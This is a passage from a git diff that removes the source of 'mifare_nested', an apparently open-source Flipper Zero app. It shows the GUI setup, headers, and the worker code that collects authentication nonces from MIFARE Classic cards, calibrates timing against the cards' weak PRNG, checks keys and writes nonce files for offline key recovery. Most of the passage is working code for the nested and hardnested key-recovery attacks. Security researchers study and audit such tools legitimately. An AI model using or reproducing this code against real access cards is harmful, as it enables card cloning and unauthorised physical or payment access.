draw_str); - } - - elements_button_center(canvas, "Stop"); -} - -static void check_keys_draw_callback(Canvas* canvas, void* model) { - CheckKeysViewModel* m = model; - - if(m->lost_tag) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); - } else if(m->processing_keys) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Processing keys..."); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 64, 23, AlignCenter, AlignTop, "Checking which keys you\nalready have..."); - } else { - char draw_str[32] = {}; - char draw_sub_str[32] = {}; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); - canvas_set_font(canvas, FontSecondary); - - float progress = m->keys_count == 0 ? 0 : - (float)(m->keys_checked) / (float)(m->keys_count); - - if(progress > 1.0) { - progress = 1.0; - } - - elements_progress_bar(canvas, 5, 15, 120, progress); - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, sizeof(draw_str), "Keys checked: %lu/%lu", m->keys_checked, m->keys_count); - canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str); - snprintf( - draw_sub_str, - sizeof(draw_sub_str), - "Keys found: %lu/%lu", - m->keys_found, - m->keys_total); - canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_sub_str); - } - - elements_button_center(canvas, "Stop"); -} - -static bool nested_input_callback(InputEvent* event, void* context) { - MifareNested* mifare_nested = context; - - bool consumed = false; - - if(event->type == InputTypeShort && (event->key == InputKeyBack || event->key == InputKeyOk)) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -MifareNested* mifare_nested_alloc() { - MifareNested* mifare_nested = malloc(sizeof(MifareNested)); - - mifare_nested->worker = mifare_nested_worker_alloc(); - mifare_nested->view_dispatcher = view_dispatcher_alloc(); - mifare_nested->scene_manager = - scene_manager_alloc(&mifare_nested_scene_handlers, mifare_nested); - view_dispatcher_enable_queue(mifare_nested->view_dispatcher); - view_dispatcher_set_event_callback_context(mifare_nested->view_dispatcher, mifare_nested); - view_dispatcher_set_custom_event_callback( - mifare_nested->view_dispatcher, mifare_nested_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - mifare_nested->view_dispatcher, mifare_nested_back_event_callback); - view_dispatcher_set_tick_event_callback( - mifare_nested->view_dispatcher, mifare_nested_tick_event_callback, 100); - - // Nfc device - mifare_nested->nfc_dev = nfc_device_alloc(); - - // Open GUI record - mifare_nested->gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui( - mifare_nested->view_dispatcher, mifare_nested->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - mifare_nested->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Submenu - mifare_nested->submenu = submenu_alloc(); - view_dispatcher_add_view( - mifare_nested->view_dispatcher, - MifareNestedViewMenu, - submenu_get_view(mifare_nested->submenu)); - - // Popup - mifare_nested->popup = popup_alloc(); - view_dispatcher_add_view( - mifare_nested->view_dispatcher, - MifareNestedViewPopup, - popup_get_view(mifare_nested->popup)); - - // Loading - mifare_nested->loading = loading_alloc(); - view_dispatcher_add_view( - mifare_nested->view_dispatcher, - MifareNestedViewLoading, - loading_get_view(mifare_nested->loading)); - - // Text Input - mifare_nested->text_input = text_input_alloc(); - view_dispatcher_add_view( - mifare_nested->view_dispatcher, - MifareNestedViewTextInput, - text_input_get_view(mifare_nested->text_input)); - - // Custom Widget - mifare_nested->widget = widget_alloc(); - view_dispatcher_add_view( - mifare_nested->view_dispatcher, - MifareNestedViewWidget, - widget_get_view(mifare_nested->widget)); - - // Variable Item List - mifare_nested->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - mifare_nested->view_dispatcher, - MifareNestedViewVariableList, - variable_item_list_get_view(mifare_nested->variable_item_list)); - - // Nested attack state - NestedState* plugin_state = collection_alloc(); - view_set_context(plugin_state->view, mifare_nested); - mifare_nested->nested_state = plugin_state; - view_dispatcher_add_view( - mifare_nested->view_dispatcher, MifareNestedViewCollecting, plugin_state->view); - - // Check keys attack state - CheckKeysState* keys_state = check_keys_alloc(); - view_set_context(keys_state->view, mifare_nested); - mifare_nested->keys_state = keys_state; - view_dispatcher_add_view( - mifare_nested->view_dispatcher, MifareNestedViewCheckKeys, keys_state->view); - - KeyInfo_t* key_info = malloc(sizeof(KeyInfo_t)); - mifare_nested->keys = key_info; - - MifareNestedSettings* settings = malloc(sizeof(MifareNestedSettings)); - settings->only_hardnested = false; - mifare_nested->settings = settings; - - view_set_draw_callback(plugin_state->view, nested_draw_callback); - view_set_input_callback(plugin_state->view, nested_input_callback); - - view_set_draw_callback(keys_state->view, check_keys_draw_callback); - view_set_input_callback(keys_state->view, nested_input_callback); - - mifare_nested->collecting_type = MifareNestedWorkerStateReady; - mifare_nested->run = NestedRunIdle; - - return mifare_nested; -} - -void mifare_nested_free(MifareNested* mifare_nested) { - furi_assert(mifare_nested); - - // Nfc device - nfc_device_free(mifare_nested->nfc_dev); - - // Submenu - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewMenu); - submenu_free(mifare_nested->submenu); - - // Popup - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewPopup); - popup_free(mifare_nested->popup); - - // Loading - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewLoading); - loading_free(mifare_nested->loading); - - // TextInput - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewTextInput); - text_input_free(mifare_nested->text_input); - - // Custom Widget - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); - widget_free(mifare_nested->widget); - - // Variable Item List - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList); - variable_item_list_free(mifare_nested->variable_item_list); - - // Nested - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting); - - // Check keys - view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys); - - // Nonces states - free(mifare_nested->nonces); - free(mifare_nested->nested_state); - - // Keys - free(mifare_nested->keys); - - // Settings - free(mifare_nested->settings); - - // Worker - mifare_nested_worker_stop(mifare_nested->worker); - mifare_nested_worker_free(mifare_nested->worker); - - // View Dispatcher - view_dispatcher_free(mifare_nested->view_dispatcher); - - // Scene Manager - scene_manager_free(mifare_nested->scene_manager); - - // GUI - furi_record_close(RECORD_GUI); - mifare_nested->gui = NULL; - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - mifare_nested->notifications = NULL; - - free(mifare_nested); -} - -void mifare_nested_blink_start(MifareNested* mifare_nested) { - notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_blue); -} - -void mifare_nested_blink_calibration_start(MifareNested* mifare_nested) { - notification_message( - mifare_nested->notifications, &mifare_nested_sequence_blink_start_magenta); -} - -void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested) { - notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_yellow); -} - -void mifare_nested_blink_stop(MifareNested* mifare_nested) { - notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_stop); -} - -int32_t mifare_nested_app(void* p) { - UNUSED(p); - - MifareNested* mifare_nested = mifare_nested_alloc(); - - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneStart); - - view_dispatcher_run(mifare_nested->view_dispatcher); - - mifare_nested_free(mifare_nested); - - return 0; -} diff --git a/applications/external/mifare_nested/mifare_nested.h b/applications/external/mifare_nested/mifare_nested.h deleted file mode 100644 index a59a5b8ca..000000000 --- a/applications/external/mifare_nested/mifare_nested.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct MifareNested MifareNested; diff --git a/applications/external/mifare_nested/mifare_nested_i.h b/applications/external/mifare_nested/mifare_nested_i.h deleted file mode 100644 index b13a6c098..000000000 --- a/applications/external/mifare_nested/mifare_nested_i.h +++ /dev/null @@ -1,181 +0,0 @@ -#pragma once -#include "mifare_nested.h" -#include "mifare_nested_worker.h" -#include "lib/nested/nested.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "scenes/mifare_nested_scene.h" -#include -#include -#include -#include -#include -#include "mifare_nested_icons.h" - -#define NESTED_VERSION_APP "1.5.2" -#define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested" -#define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery" -#define NESTED_NONCE_FORMAT_VERSION "3" -#define NESTED_AUTHOR "@AloneLiberty (t.me/libertydev)" - -enum MifareNestedCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - MifareNestedCustomEventReserved = 100, - - MifareNestedCustomEventViewExit, - MifareNestedCustomEventWorkerExit, - MifareNestedCustomEventByteInputDone, - MifareNestedCustomEventTextInputDone, - MifareNestedCustomEventSceneSettingLock -}; - -typedef void (*NestedCallback)(void* context); - -typedef struct { - FuriMutex* mutex; - FuriMessageQueue* event_queue; - ViewPort* view_port; - View* view; - NestedCallback callback; - void* context; -} NestedState; - -typedef void (*CheckKeysCallback)(void* context); - -typedef struct { - FuriMutex* mutex; - FuriMessageQueue* event_queue; - ViewPort* view_port; - View* view; - CheckKeysCallback callback; - void* context; -} CheckKeysState; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef struct { - bool only_hardnested; -} MifareNestedSettings; - -typedef enum { NestedRunIdle, NestedRunCheckKeys, NestedRunAttack } NestedRunNext; - -struct MifareNested { - MifareNestedWorker* worker; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notifications; - SceneManager* scene_manager; - NfcDevice* nfc_dev; - VariableItemList* variable_item_list; - MifareNestedSettings* settings; - FuriString* text_box_store; - - // Common Views - Submenu* submenu; - Popup* popup; - Loading* loading; - TextInput* text_input; - Widget* widget; - - NonceList_t* nonces; - KeyInfo_t* keys; - - NestedState* nested_state; - CheckKeysState* keys_state; - SaveNoncesResult_t* save_state; - - MifareNestedWorkerState collecting_type; - - NestedRunNext run; -}; - -typedef enum { - MifareNestedViewMenu, - MifareNestedViewPopup, - MifareNestedViewLoading, - MifareNestedViewTextInput, - MifareNestedViewWidget, - MifareNestedViewVariableList, - MifareNestedViewCollecting, - MifareNestedViewCheckKeys, -} MifareNestedView; - -typedef struct { - FuriString* header; - uint32_t keys_count; - uint32_t nonces_collected; - uint32_t hardnested_states; - bool lost_tag; - bool calibrating; - bool need_prediction; - bool hardnested; -} NestedAttackViewModel; - -typedef struct { - FuriString* header; - uint32_t keys_count; - uint32_t keys_checked; - uint32_t keys_found; - uint32_t keys_total; - bool lost_tag; - bool processing_keys; -} CheckKeysViewModel; - -static const NotificationSequence mifare_nested_sequence_blink_start_blue = { - &message_blink_start_10, - &message_blink_set_color_blue, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence mifare_nested_sequence_blink_start_magenta = { - &message_blink_start_10, - &message_blink_set_color_magenta, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence mifare_nested_sequence_blink_start_yellow = { - &message_blink_start_10, - &message_blink_set_color_yellow, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence mifare_nested_sequence_blink_stop = { - &message_blink_stop, - NULL, -}; - -MifareNested* mifare_nested_alloc(); - -void mifare_nested_text_store_set(MifareNested* mifare_nested, const char* text, ...); - -void mifare_nested_text_store_clear(MifareNested* mifare_nested); - -void mifare_nested_blink_start(MifareNested* mifare_nested); - -void mifare_nested_blink_calibration_start(MifareNested* mifare_nested); - -void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested); - -void mifare_nested_blink_stop(MifareNested* mifare_nested); - -void mifare_nested_show_loading_popup(void* context, bool show); diff --git a/applications/external/mifare_nested/mifare_nested_worker.c b/applications/external/mifare_nested/mifare_nested_worker.c deleted file mode 100644 index 0b8097653..000000000 --- a/applications/external/mifare_nested/mifare_nested_worker.c +++ /dev/null @@ -1,1713 +0,0 @@ -#include "mifare_nested_worker_i.h" - -#include "lib/nested/nested.h" -#include "lib/parity/parity.h" -#include - -#include -#include -#include -#include "string.h" -#include -#include - -#define TAG "MifareNestedWorker" - -// possible sum property values -static uint16_t sums[] = - {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; - -void mifare_nested_worker_change_state( - MifareNestedWorker* mifare_nested_worker, - MifareNestedWorkerState state) { - furi_assert(mifare_nested_worker); - - mifare_nested_worker->state = state; -} - -MifareNestedWorker* mifare_nested_worker_alloc() { - MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker)); - - // Worker thread attributes - mifare_nested_worker->thread = furi_thread_alloc_ex( - "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker); - - mifare_nested_worker->callback = NULL; - mifare_nested_worker->context = NULL; - - mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady); - - return mifare_nested_worker; -} - -void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) { - furi_assert(mifare_nested_worker); - - furi_thread_free(mifare_nested_worker->thread); - free(mifare_nested_worker); -} - -void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) { - furi_assert(mifare_nested_worker); - - mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop); - furi_thread_join(mifare_nested_worker->thread); -} - -void mifare_nested_worker_start( - MifareNestedWorker* mifare_nested_worker, - MifareNestedWorkerState state, - NfcDeviceData* dev_data, - MifareNestedWorkerCallback callback, - void* context) { - furi_assert(mifare_nested_worker); - furi_assert(dev_data); - - mifare_nested_worker->callback = callback; - mifare_nested_worker->context = context; - mifare_nested_worker->dev_data = dev_data; - mifare_nested_worker_change_state(mifare_nested_worker, state); - furi_thread_start(mifare_nested_worker->thread); -} - -int32_t mifare_nested_worker_task(void* context) { - MifareNestedWorker* mifare_nested_worker = context; - - if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) { - mifare_nested_worker_check(mifare_nested_worker); - } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) { - mifare_nested_worker_collect_nonces_static(mifare_nested_worker); - } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { - mifare_nested_worker_collect_nonces(mifare_nested_worker); - } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { - mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); - } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { - mifare_nested_worker_check_keys(mifare_nested_worker); - } - - mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady); - - return 0; -} - -void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) { - uint8_t* uid = data->uid; - uint8_t uid_len = data->uid_len; - - for(size_t i = 0; i < uid_len; i++) { - uint8_t uid_part = uid[i]; - furi_string_cat_printf(string, "%02X", uid_part); - } -} - -void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) { - furi_string_set(file_path, EXT_PATH("nfc/.cache") "/"); - - mifare_nested_worker_write_uid_string(data, file_path); - - furi_string_cat_printf(file_path, ".keys"); -} - -void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) { - furi_string_set(file_path, NESTED_FOLDER "/"); - - mifare_nested_worker_write_uid_string(data, file_path); - - furi_string_cat_printf(file_path, ".nonces"); -} - -void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) { - furi_string_set(file_path, NESTED_FOLDER "/"); - - mifare_nested_worker_write_uid_string(data, file_path); - - furi_string_cat_printf(file_path, ".keys"); -} - -void mifare_nested_worker_get_hardnested_folder_path( - FuriHalNfcDevData* data, - FuriString* file_path) { - furi_string_set(file_path, NESTED_FOLDER "/"); - - mifare_nested_worker_write_uid_string(data, file_path); -} - -void mifare_nested_worker_get_hardnested_file_path( - FuriHalNfcDevData* data, - FuriString* file_path, - uint8_t sector, - uint8_t key_type) { - mifare_nested_worker_get_hardnested_folder_path(data, file_path); - - furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type); -} - -uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) { - furi_assert(sector < 40); - if(sector < 32) { - return (sector * 4) + 3; - } else { - return 32 * 4 + (sector - 32) * 16 + 15; - } -} - -static MfClassicSectorTrailer* - mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) { - return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)] - .value; -} - -bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FuriString* temp_str = furi_string_alloc(); - mifare_nested_worker_get_key_cache_file_path(data, temp_str); - FlipperFormat* file = flipper_format_file_alloc(storage); - bool load_success = false; - uint32_t sector_count = 0; - - do { - if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break; - - if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break; - - uint32_t version = 0; - - if(!flipper_format_read_header(file, temp_str, &version)) break; - if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break; - - if(version != 1) break; - - if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break; - - if(!furi_string_cmp(temp_str, "1K")) { - mf_data->type = MfClassicType1k; - sector_count = 16; - } else if(!furi_string_cmp(temp_str, "4K")) { - mf_data->type = MfClassicType4k; - sector_count = 40; - } else if(!furi_string_cmp(temp_str, "MINI")) { - mf_data->type = MfClassicTypeMini; - sector_count = 5; - } else { - break; - } - - if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break; - if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break; - - bool key_read_success = true; - - for(size_t i = 0; (i < sector_count) && (key_read_success); i++) { - MfClassicSectorTrailer* sec_tr = - mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i); - - if(FURI_BIT(mf_data->key_a_mask, i)) { - furi_string_printf(temp_str, "Key A sector %d", i); - key_read_success = flipper_format_read_hex( - file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6); - } - - if(!key_read_success) break; - - if(FURI_BIT(mf_data->key_b_mask, i)) { - furi_string_printf(temp_str, "Key B sector %d", i); - key_read_success = flipper_format_read_hex( - file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6); - } - } - - load_success = key_read_success; - } while(false); - - furi_string_free(temp_str); - flipper_format_free(file); - - return load_success; -} - -bool hex_char_to_hex_nibble(char c, uint8_t* nibble) { - if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) { - if(c <= '9') { - *nibble = c - '0'; - } else if(c <= 'F') { - *nibble = c - 'A' + 10; - } else { - *nibble = c - 'a' + 10; - } - return true; - } else { - return false; - } -} - -bool hex_char_to_uint8(char hi, char low, uint8_t* value) { - uint8_t hi_nibble_value, low_nibble_value; - - if(hex_char_to_hex_nibble(hi, &hi_nibble_value) && - hex_char_to_hex_nibble(low, &low_nibble_value)) { - *value = (hi_nibble_value << 4) | low_nibble_value; - return true; - } else { - return false; - } -} - -void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) { - for(uint8_t sector = 0; sector < sector_count; sector++) { - for(uint8_t key_type = 0; key_type < 2; key_type++) { - for(uint8_t tries = 0; tries < tries_count; tries++) { - free(nonces->nonces[sector][key_type][tries]); - } - } - } -} - -MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - UNUSED(ATQA1); - if((ATQA0 == 0x44 || ATQA0 == 0x04)) { - if((SAK == 0x08 || SAK == 0x88)) { - return MfClassicType1k; - } else if(SAK == 0x09) { - return MfClassicTypeMini; - } - } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { - //skylanders support - return MfClassicType1k; - } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) { - return MfClassicType4k; - } - return MfClassicType1k; -} - -uint32_t mifare_nested_worker_predict_delay( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key, - uint32_t tries, - MifareNestedWorker* mifare_nested_worker) { - uint32_t cuid = 0; - Crypto1* crypto = malloc(sizeof(Crypto1)); - uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0; - - if(tries > 25) { - free(crypto); - return 2; // Too many tries, fallback to hardnested - } - - // This part of attack is my attempt to implement it on Flipper. - // Check README.md for more info - - // First, we find RPNG rounds per 1000 us - for(uint32_t rtr = 0; rtr < 25; rtr++) { - if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { - free(crypto); - return 1; - } - - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); - - furi_delay_us(rtr * 1000); - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); - - // Searching for delay, where PRNG will be near 800 - uint32_t nttmp = prng_successor(nt1, 100); - - for(i = 101; i < 65565; i++) { - nttmp = prng_successor(nttmp, 1); - if(nttmp == nt2) break; - } - - if(!rtr) { - zero_prng_value = i; - } - - if(previous && i > previous && i != 65565) { - if(!prng_delay) { - prng_delay = i - previous; - } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) { - prng_delay += i - previous; - prng_delay /= 2; - } - } - - previous = i; - - FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000); - - // Let's hope... - if(i > 810 && i < 840) { - free(crypto); - return rtr * 1000; - } - } - - FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay); - - // Next, we try to calculate time until PRNG near 800 with more perfect timing - // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles - - if(zero_prng_value == 65565) { - free(crypto); - // PRNG isn't pretictable - return 1; - } - - uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay; - - uint32_t limit = 7; - - for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) { - for(uint32_t rtz = 0; rtz < 100; rtz++) { - if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { - free(crypto); - return 1; - } - - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; - - uint32_t delay = rtr * 1000 + rtz * 10; - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); - - furi_delay_us(delay); - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); - - // Searching for delay, where PRNG will be near 800 - uint32_t nttmp = prng_successor(nt1, 0); - - for(i = 1; i < 65565; i++) { - nttmp = prng_successor(nttmp, 1); - if(nttmp == nt2) break; - } - - if(!(i > previous - 50 && i < previous + 50) && rtz) { - repeat++; - - if(repeat < 5) { - FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i); - - continue; - } - } - - if(i > 2000 && i < 65500) { - uint32_t catch_cycles = (65565 - i) / prng_delay; - if(catch_cycles > 2) { - catch_cycles++; - - FURI_LOG_D( - TAG, - "Trying a more accurate value: skipping additional %lu us", - catch_cycles * 1000); - limit += catch_cycles + 2; - rtr += catch_cycles; - } - } - - FURI_LOG_D( - TAG, - "Calibrating: ntdist=%lu, delay=%lu, max=%lu", - i, - delay, - (cycles_to_reset + limit) * 1000); - - repeat = 0; - previous = i; - - if(i > 810 && i < 840) { - free(crypto); - FURI_LOG_I(TAG, "Found delay: %lu us", delay); - return delay; - } else if(i > 840 && i < 40000) { - FURI_LOG_D(TAG, "Trying again: timing lost"); - tries++; - free(crypto); - return mifare_nested_worker_predict_delay( - tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker); - } - } - } - - if(i > 1000 && i < 65000) { - FURI_LOG_D(TAG, "Trying again: wrong predicted timing"); - tries++; - free(crypto); - return mifare_nested_worker_predict_delay( - tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker); - } - - free(crypto); - - return 1; -} - -SaveNoncesResult_t* mifare_nested_worker_write_nonces( - FuriHalNfcDevData* data, - Storage* storage, - NonceList_t* nonces, - uint8_t tries_count, - uint8_t free_tries_count, - uint8_t sector_count, - uint32_t delay, - uint32_t distance) { - FuriString* path = furi_string_alloc(); - Stream* file_stream = file_stream_alloc(storage); - SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t)); - result->saved = 0; - result->invalid = 0; - result->skipped = 0; - - mifare_nested_worker_get_nonces_file_path(data, path); - - file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS); - - FuriString* header = furi_string_alloc_printf( - "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n", - NESTED_NONCE_FORMAT_VERSION, - NESTED_RECOVER_KEYS_GITHUB_LINK); - stream_write_string(file_stream, header); - - for(uint8_t tries = 0; tries < tries_count; tries++) { - for(uint8_t sector = 0; sector < sector_count; sector++) { - for(uint8_t key_type = 0; key_type < 2; key_type++) { - if(nonces->nonces[sector][key_type][tries]->invalid) { - if(tries == 0) { - result->invalid++; - } - } else if(nonces->nonces[sector][key_type][tries]->skipped) { - if(tries == 0) { - result->skipped++; - } - } else if(nonces->nonces[sector][key_type][tries]->collected) { - if(nonces->nonces[sector][key_type][tries]->hardnested) { - FuriString* hardnested_path = furi_string_alloc(); - mifare_nested_worker_get_hardnested_file_path( - data, hardnested_path, sector, key_type); - - FuriString* str = furi_string_alloc_printf( - "HardNested: Key %c cuid 0x%08lx file %s sec %u\n", - !key_type ? 'A' : 'B', - nonces->cuid, - furi_string_get_cstr(hardnested_path), - sector); - - stream_write_string(file_stream, str); - - furi_string_free(hardnested_path); - furi_string_free(str); - } else { - FuriString* str = furi_string_alloc_printf( - "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid); - - for(uint8_t type = 0; type < 2; type++) { - furi_string_cat_printf( - str, - " nt%u 0x%08lx ks%u 0x%08lx par%u ", - type, - nonces->nonces[sector][key_type][tries]->target_nt[type], - type, - nonces->nonces[sector][key_type][tries]->target_ks[type], - type); - - uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type]; - for(uint8_t i = 0; i < 4; i++) { - furi_string_cat_printf(str, "%u", par[i]); - } - } - - furi_string_cat_printf(str, " sec %u\n", sector); - - stream_write_string(file_stream, str); - furi_string_free(str); - } - - result->saved++; - } - } - } - } - - if(delay) { - FuriString* str = - furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance); - - stream_write_string(file_stream, str); - furi_string_free(str); - } - - free_nonces(nonces, sector_count, free_tries_count); - file_stream_close(file_stream); - free(file_stream); - - if(!result->saved) { - FURI_LOG_E(TAG, "No nonces collected, removing file..."); - if(!storage_simply_remove(storage, furi_string_get_cstr(path))) { - FURI_LOG_E(TAG, "Failed to remove .nonces file"); - } - } - - furi_string_free(path); - furi_record_close(RECORD_STORAGE); - - return result; -} - -bool mifare_nested_worker_check_initial_keys( - NonceList_t* nonces, - MfClassicData* mf_data, - uint8_t tries_count, - uint8_t sector_count, - uint64_t* key, - uint32_t* key_block, - uint32_t* found_key_type) { - bool has_a_key, has_b_key; - FuriHalNfcTxRxContext tx_rx = {}; - - for(uint8_t sector = 0; sector < sector_count; sector++) { - for(uint8_t key_type = 0; key_type < 2; key_type++) { - for(uint8_t tries = 0; tries < tries_count; tries++) { - Nonces* info = malloc(sizeof(Nonces)); - info->key_type = key_type; - info->block = mifare_nested_worker_get_block_by_sector(sector); - info->collected = false; - info->skipped = true; - info->from_start = false; - - nonces->nonces[sector][key_type][tries] = info; - } - } - } - - for(uint8_t sector = 0; sector < sector_count; sector++) { - MfClassicSectorTrailer* trailer = - mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector); - has_a_key = FURI_BIT(mf_data->key_a_mask, sector); - has_b_key = FURI_BIT(mf_data->key_b_mask, sector); - - if(has_a_key) { - for(uint8_t tries = 0; tries < tries_count; tries++) { - Nonces* info = nonces->nonces[sector][0][tries]; - info->collected = true; - info->skipped = true; - info->from_start = true; - - nonces->nonces[sector][0][tries] = info; - } - - if(*key_block == 0) { - uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6); - if(nested_check_key( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) == - NestedCheckKeyValid) { - *key = key_check; - *key_block = mifare_nested_worker_get_block_by_sector(sector); - *found_key_type = 0; - } - } - } - - if(has_b_key) { - for(uint8_t tries = 0; tries < tries_count; tries++) { - Nonces* info = nonces->nonces[sector][1][tries]; - info->collected = true; - info->skipped = true; - info->from_start = true; - - nonces->nonces[sector][1][tries] = info; - } - - if(*key_block == 0) { - uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6); - if(nested_check_key( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) == - NestedCheckKeyValid) { - *key = key_check; - *key_block = mifare_nested_worker_get_block_by_sector(sector); - *found_key_type = 1; - } - } - } - } - - nonces->cuid = 0; - nonces->hardnested_states = 0; - 